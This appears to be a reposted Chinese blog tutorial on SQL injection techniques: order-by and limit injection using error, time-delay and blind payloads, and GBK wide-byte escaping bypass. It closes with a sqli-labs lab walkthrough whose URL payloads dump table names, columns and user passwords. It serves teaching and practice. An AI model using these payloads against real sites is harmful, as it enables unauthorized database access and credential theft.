当前位置:网站首页>SQL注入基础---order by \ limit \ 宽字节注入

SQL注入基础---order by \ limit \ 宽字节注入

2022-08-10 23:35:00 抱小猫

目录

order by

(1)order by 注入存在原因

(2)案例1:利用报错函数注入

(3)案例2:利用延时函数注入

(4)案例3:利用rand()盲注

​(5)案例4:if进行盲注

limit注入

(1)limit使用介绍

(2)案例

宽字节注入

(1)什么是宽字节?

(2)宽字节中常见转义函数

(3)案例:sqli-labs第32关


order by

(1)order by 注入存在原因

order by 子句在MySQL中可以猜测表中的列数,再配合union select语句进行回显。

但是,当页面出现MySQL报错信息时,且order by后面有可控参数,此时就可以利用报错信息进行注入

(2)案例1:利用报错函数注入

 select * from users order  by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1);

 (3)案例2:利用延时函数注入

 select * from users order  by if(concat(0x7e,user(),0x7e),1,sleep(3));

 延迟时间不是3秒,而是查询的数据条数*3=总共的延时时间

当SQL语句为真时就会有延迟,SQL语句为假时是以正常时间显示。

(4)案例3:利用rand()盲注

rand()函数产生的随机数是0到1之间,但是当给rand()函数一个参数时,这个参数就变成一个种子,这个种子生成的0到1之间的随机数是固定不变的

我们发现rand()参数为0或1时,我们使用布尔盲注再次测试

 select * from users order by rand(ascii(mid((select database()),1,1))=8);

 (5)案例4:if进行盲注

当if语句有效时输出为乱序,当if语句无效时输出不会改变顺序。

 

limit注入

(1)limit使用介绍

limit[位置偏移量,]行数:位置偏移量指MySQL查询分析器开始显示的函数,行数指指示返回的记录条数。

基本使用:   select * from users limit 1,4;

 在limit后面可以跟两个函数,procedure 和 into,into除非有写入shell的权限,否则是无法利用的,那么我们就自能从procedure找突破口。

benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式

比如 benchmark(10000000,函数(1))

意思是执行表达式10000000次, 使mysql运算量增大而导致延时,类似与多表联合查询/笛卡尔积。

(2)案例

 select * from users limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,benchmark(10000000,user()))),1);

宽字节注入

(1)什么是宽字节?

宽字节的字符大小为两个字节,像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,注意所有英文默认占用一个字节,中文占用两个字节。

(2)宽字节中常见转义函数

  • addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串

  • mysql_real_escape_string() 函数:转义 SQL 语句中使用的字符串中的特殊字符

  • mysql_escape_string() 函数:转义一个字符串

(3)案例:sqli-labs第32关

 可以看出单引号被转义了,查看源码

 我们在1的后面加上%df

1、那为什么加上%df就把单引号逃逸出来了呢?

 这涉及到了mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而单引号逃逸了出来。

2、但是MySQL是如何判断字符或汉字的呢?

根据gbk编码,第一个字节ascii码大于128,基本上就可以判断。比如我们将%df换成%a1

 这样单引号逃逸出来后我们就可以查询数据库中的数据了

1、获得数据库中的表

http://127.0.0.1/sqli/Less-32/?id=-1%a1%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())--+

 2、获得users表中的字段

http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273)--+

 3、获取用户和用户密码

http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(username,password)%20from%20security.users)--+

原网站

版权声明
本文为[抱小猫]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_52016943/article/details/126230320